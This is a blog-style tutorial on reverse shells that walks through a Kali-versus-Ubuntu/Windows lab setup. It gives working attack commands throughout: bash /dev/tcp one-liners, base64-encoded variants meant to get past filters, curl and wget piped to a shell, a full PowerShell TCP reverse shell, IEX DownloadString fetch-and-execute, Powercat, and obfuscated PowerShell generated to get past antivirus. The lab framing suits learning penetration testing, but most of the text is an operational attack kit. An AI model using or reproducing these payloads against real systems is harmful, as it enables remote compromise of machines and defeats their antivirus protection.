Reverse Shells for Dummies


This is AI art

One of the few concepts in real-life hacking that lives up to depictions of hacking in movies and TV are reverse shells. Reverse shells are a common method of compromise used by hackers to gain access to systems via a ‘shell’. In plain English, it is a way to trick a system into sending an interactive command line interface, or ‘shell’, back to a hacker’s system. This lets the hacker execute system commands on the victim machine remotely, thereby compromising the victim machine.

There are two types of ‘shells’: ‘reverse’ and ‘bind’. Reverse shells are what I’ll be focusing on, since they are used 99% of the time in hacking. The difference between the two is that reverse shells trick a victim machine into sending a shell back to an attacker’s machine on a specific port, while bind shells leave a port open on the victim machine so that the attacker machine can connect to it. Please refer to the following diagram:

Image credit: https://sysdig.com/learn-cloud-native/what-is-a-reverse-shell/

Bind shells aren’t used that much (even though they sound way cooler), because they leave a bigger footprint behind than reverse shells. Think about it, you have to leave a port open for a bind shell regardless of whether or not you are currently connected to it. This can be picked up pretty easily by antivirus software or system admins. Reverse shells only leave ports open as long as you are actively connected to them. This is still detectable, but theoretically much less so.

With that out of the way, let’s get cooking. Throughout this guide I’ll have two virtual machines running. The first is Kali Linux, which will be the attacker machine (naturally). The second will be Ubuntu Linux, which will be a victim machine. Both of these virtual machines will have NAT connections enabled for easy communication. I’ll also be using my host OS, a Windows machine, as a victim machine to demonstrate reverse shells on Windows.

Now we need to know some local IP addresses. This is simple to find out on Linux:

ifconfig
Kali (attacker)
Ubuntu (victim)

On Windows the command is similar:

ipconfig
Windows (victim)

So in my own environment, the relevant machines have the following IP addresses:

Machine NameIP AddressMachine Type
Kali192.168.226.146Attacker
Ubuntu192.168.226.153Victim
Windows192.168.50.72Victim

Keep in mind if you are following along at home, your own environment will almost certainly have different local IP addresses for these machines. Be sure to look them up yourself.

Now in Kali we need to start a listener that will ‘catch’ any reverse shells we send its way. We can use Netcat for this:

nc -nlvp 4242

In this command we need to specify the port number we want to listen on. This will be important later. Being a fan of Hitchhikers Guide to the Galaxy, I like to use the enigmatic port number 4242. You can choose whatever number you like, just as long as it doesn’t conflict with any open port on your system. You’ll also need to re-run this command between subsequent shells, otherwise there won’t be anything available to catch them.

Alright, let’s get into our first reverse shell. I’ll start with Linux shells since they are generally easier to setup

Linux Reverse Shells

The most basic reverse shell command on Linux is as follows:

/bin/bash -c 'bash -i >& /dev/tcp/192.168.226.146/4242 0>&1'

Notice how I’ve inserted the IP address of my Kali machine in there as well as port 4242. You’ll have to do the same. These values are what point the shell to the listener running on the attacker machine, so getting them wrong will result in no shell. Running this on the Ubuntu machine with our listener running on Kali should give us our first shell:

Nice. Computer successfully hacked.

Life is rarely so simple though. There are often checks in place on victim servers to check for and deny commands that include special characters associated with reverse shell commands. Here are a couple ways to get around them.

First off, base64. We can use base64 encoding to trick a victim machine into executing commands that have these special characters. We can convert the previous shell command into base64 pretty easily on Kali:

echo "/bin/bash -c 'bash -i >& /dev/tcp/192.168.226.146/4242 0>&1'" | base64

We can then feed the resultant base64 sting into a series of commands which should decode and then execute our original command

echo "L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjI2LjE0Ni80MjQyIDA+
JjEnCg==" | base64 -d | bash

Hacked again. Sweet.

The second method is a bit more versatile and involves downloading a file off of our attacker machine and then executing it. Here’s the basic setup.

Let’s start by making a new directory, changing into it, and then echoing out our reverse shell command into a bash script file called ‘rshell.sh’

mkdir transfers
cd transfers
echo "/bin/bash -c 'bash -i >& /dev/tcp/192.168.226.146/4242 0>&1'" > rshell.sh

OK. Now we can start a simple HTTP server in this directory with Python3

python3 -m http.server 80

Now we have an HTTP server running on our attacker machine on the default port 80. We should be able to fetch files from this server onto the victim machine now.

We don’t want to just fetch files, we also want to execute them. We can do this by fetching the file from our attacker machine with curl and then feeding the raw content directly into a binary. Since ‘rshell.sh’ is a bash script, we’ll want to feed this into the ‘bash’ binary

curl 192.168.226.146/rshell.sh | bash
That is the IP address of our victim machine. Fetch confirmed

Sweet. If for some reason the victim machine doesn’t have curl installed, you can also use wget:

wget 192.168.226.146/rshell.sh && bash rshell.sh

The cool thing about this approach is you can use all kinds of alternate file types. PHP, PERL, and Python are all commonly installed on Linux servers and can all be used to get reverse shells. I’ll link to some popular reverse shell scripts and show how to execute them.

PHP

GitHub - ivan-sincek/php-reverse-shell: PHP shells that work on Linux OS, macOS, and Windows OS.
PHP shells that work on Linux OS, macOS, and Windows OS. - ivan-sincek/php-reverse-shell
https://github.com/ivan-sincek/php-reverse-shell
Update these values in the script.
curl 192.168.226.146/php_reverse_shell.php | php
#or
wget 192.168.226.146/php_reverse_shell.php && php php_reverse_shell.php

Note: this particular PHP script is pretty badass because it works on both Linux AND Windows.

PERL

GitHub - pentestmonkey/perl-reverse-shell
Contribute to pentestmonkey/perl-reverse-shell development by creating an account on GitHub.
https://github.com/pentestmonkey/perl-reverse-shell/tree/master
Update these values in the script
curl 192.168.226.146/perl-reverse-shell.pl | perl
#or
wget 192.168.226.146/perl-reverse-shell.pl && perl perl-reverse-shell.pl

Python

GitHub - orestisfoufris/Reverse-Shell---Python: A simple reverse shell written in python
A simple reverse shell written in python. Contribute to orestisfoufris/Reverse-Shell---Python development by creating an account on GitHub.
https://github.com/orestisfoufris/Reverse-Shell---Python/tree/master
Update these values in the script
#with this script in particular, also try 'python3' for the binary
curl 192.168.226.146/reverseshell.py | python
#or
wget 192.168.226.146/reverseshell.py && python reverseshell.py

That about does it for Linux reverse shells. There are a lot of other considerations, but I’m just covering the basics in this guide.

Windows Reverse Shells

Note: if you are following along at home then you will want to disable any antivirus software you have running on your Windows computer for the next few shells. Just remember to reenable it once you’re done.

Getting a shell on a Windows computer is generally more difficult than on Linux. For a visual demonstration: here is an equivalent ‘one-liner’ reverse shell for Windows PowerShell:

#code credit: https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3
$client = New-Object System.Net.Sockets.TCPClient('192.168.226.146',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Yeah, it’s pretty bad. Here’s proof it works though:

The problem with this ‘one-liner’ is that it requires a PowerShell prompt, not the standard Windows Command Prompt (CMD). Most Windows programs will be running from a CMD prompt, so this ‘one-liner’ won’t work. There is a workaround though.

We can save this ‘one-liner’ to a PowerShell script on our attacker machine and then use the same file-fetching-and-execution exploit from before to execute it via PowerShell on a CMD prompt. First thing I’ll save this ‘one-liner’ code to a file on my attacker machine called ‘rshell.ps1’

Now I’ll host this file in a simple HTTP server just like before

python3 -m http.server 80

Now we need to fetch and execute this file on the victim machine. I’ll ensure I’m in a standard CMD prompt and then execute the following command:

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.226.146/rshell.ps1')"

Confirmed, nice. As you can see, the resultant shell is a PowerShell prompt (The ‘PS’ on the final line gives it away). Sometimes though we don’t want PowerShell and just want a stand CMD shell. I have just the thing for that.

It’s called Powercat. Here’s a link:

GitHub - besimorhino/powercat: netshell features all in version 2 powershell
netshell features all in version 2 powershell. Contribute to besimorhino/powercat development by creating an account on GitHub.
https://github.com/besimorhino/powercat

Download the ‘powercat.ps1’ PowerShell script onto your attacker machine and host it in the directory you are serving via HTTP. Getting a CMD shell is now as simple running:

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.226.146/powercat.ps1');powercat -c 192.168.226.146 -p 4242 -e cmd"

Notice the ‘C’ in the final line there. We have a standard CMD shell. If this command isn’t working but you were able to get a PowerShell reverse shell, then you can run the following portion of the previous command in the PowerShell prompt to get a CMD shell:

IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.226.146/powercat.ps1');powercat -c 192.168.226.146 -p 4243 -e cmd
I changed the port number in this command so there aren’t any conflicts on port 4242

Now if you read the very first note in this section, you’ll know that standard Windows antivirus software is almost guaranteed to catch and stop these shell commands from executing. If you want to try and bypass antivirus software, read on.

First you’ll need the code from the following GitHub repo:

GitHub - gh0x0st/Get-ReverseShell: A solution to create obfuscated reverse shells for PowerShell.
A solution to create obfuscated reverse shells for PowerShell. - GitHub - gh0x0st/Get-ReverseShell: A solution to create obfuscated reverse shells for PowerShell.
https://github.com/gh0x0st/Get-ReverseShell

I’ll go ahead and clone this onto my attacker Kali machine

git clone https://github.com/gh0x0st/Get-ReverseShell.git

Now I’ll cd into the resultant ‘Get-ReverseShell’ directory and open up a PowerShell session in Kali

cd Get-ReverseShell
pwsh

Now we need to import the ‘get-reverseshell.ps1’ file into our PowerShell session

. ./get-reverseshell.ps1

Finally, we can generate an obfuscated reverse shell PowerShell script with the following command:

Get-ReverseShell -Ip 192.168.226.146 -Port 4242 -OutFile obfuscated.ps1

That created a new file ‘obfuscated.ps1’. This file executes a reverse shell via PowerShell on Windows, but the actual code that does this is so unusual and confusing that standard antivirus software is unlikely to catch it. I’ll close the PowerShell session and host this file just like before via HTTP

exit
python3 -m http.server 80

Finally, it’s time to fetch and execute our ‘obfuscated.ps1’ file on the victim machine

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.226.146/obfuscated.ps1')"
Here I am executing this command while my oblivious antivirus software looks on
Welcome to shell town, population 1

Not to completely dunk on Trend Micro. Here’s what happens when I try to run the unobfuscated ‘rshell.ps1’ file from before:

So it’s not completely useless, just easy to bypass.

Side note: you can quickly and easily test files against various antivirus solutions at the following site:

VirusTotal
https://www.virustotal.com

I tested the ‘obfuscated.ps1’ file on there and these were the results:

5/64 is not great. Also AVG, a free antivirus, successfully flagged this file while Trend Micro, my own paid solution did not. I need to rethink my spending on this issue

So there you have it, a crash course on reverse shells. If you are at all interested in diving into the world of hacking, then I’d say this is a great place to start. I’ll finish on some advice for times when you can’t get reverse shells to work:

  1. Double check you have you have the attacker IP address correct. Don’t roll your eyes at me, this is standard stuff. I can’t tell you how much time I’ve wasted because I didn’t have this value correct
  1. Experiment with different port values for your listener. Sometimes firewalls will block traffic on unusual ports. Try standard ports like 80, 443, 22, 445, 25, etc. Don’t give up because one port isn’t working
  1. Try different methods of obtaining a shell. If you are on Linux, try Bash, PHP, PERL, and Python. Windows, try a variety of PowerShell scripts (also the PHP reverse shell I shared). Don’t try one and quit when it doesn’t work
  1. If you are still stuck, then I refer you to the ultimate guide on reverse shells. It has just about every method of obtaining a reverse shell known to man. I’ve used it quite a lot. Link below:
PayloadsAllTheThings/Methodology and Resources/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

So that’ll do it for this guide. I went into it wanting to share knowledge I wish I had the first time I tried to get a reverse shell. I didn’t get into meterpreter shells in this guide, as I wanted to stick with the basics. Maybe that will be a future guide? I hope this was helpful for you, and I also hope you have a good day.